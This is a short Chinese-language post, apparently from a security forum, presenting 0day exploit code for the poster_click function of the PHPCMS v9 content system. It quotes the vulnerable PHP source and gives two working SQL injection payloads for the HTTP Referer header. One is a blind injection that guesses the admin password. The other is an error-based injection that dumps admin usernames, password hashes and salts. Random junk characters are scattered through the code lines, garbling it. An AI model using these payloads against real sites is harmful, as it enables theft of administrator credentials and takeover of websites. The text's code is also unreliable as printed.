phpcms post_click注入0day利用代码

admin

有人放出了phpcmsv9的0day,就随时写了个利用代码,其中注入代码有两种形式:
$ R* P" O! A* l8 e+ p
问题函数\phpcms\modules\poster\index.php
" ~! ~" B6 A$ h1 f8 U0 L2 S
public function poster_click() {
$id = isset($_GET['id']) ? intval($_GET['id']) : 0;
( `5 o& o: n* P/ M2 z4 e$r = $this->db->get_one(array('id'=>$id));
if (!is_array($r) && empty($r)) return false;
$ip_area = pc_base::load_sys_class('ip_area');
$ip = ip();
* g1 H% I; i2 g. o7 v* |9 i: i$area = $ip_area->get($ip);
2 d' D) i& w7 F. `& S$username = param::get_cookie('username') ? param::get_cookie('username') : '';
if($id) {
  J6 h3 J. n7 Y3 a$siteid = isset($_GET['siteid']) ? intval($_GET['siteid']) : get_siteid();
$this->s_db->insert(array('siteid'=>$siteid, 'pid'=>$id, 'username'=>$username, 'area'=>$area, 'ip'=>$ip, 'referer'=>HTTP_REFERER, 'clicktime'=>SYS_TIME, 'type'=> 1));
8 _4 t) {  `3 X/ p}
. p( |6 u+ B) g+ r9 U5 x: [$this->db->update(array('clicks'=>'+=1'), array('id'=>$id));
$setting = string2array($r['setting']);
6 }0 q1 D$ {4 k. g' s. _if (count($setting)==1) {
$url = $setting['1']['linkurl'];
} else {
$url = isset($_GET['url']) ? $_GET['url'] : $setting['1']['linkurl'];
}
# B9 u2 @1 H) p9 s8 L+ \4 h+ ?header('Location: '.$url);
}

利用方式：

4 Y% L6 j2 j# v5 c* ?( ]1、可以采用盲注入的手法：

/ a3 n. k6 U! t5 ^  E6 t5 Oreferer:1′,(select password from v9_admin where userid=1 substr(password,4)=’xxoo’),’1′)#
  L+ y* Q- E0 r0 ]- j1 Q" a
7 }7 ^' A' U: T- V$ ]/ `通过返回页面，正常与否一个个猜解密码字段。
7 P/ j. Q7 D* ]) p
$ |+ ]1 Z( p- r3 N, I# t# s2、代码是花开写的，随手附上了：

1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#

+ v; o1 x5 L+ ?& ?5 B& i/ m此方法是爆错注入手法，原理自查。
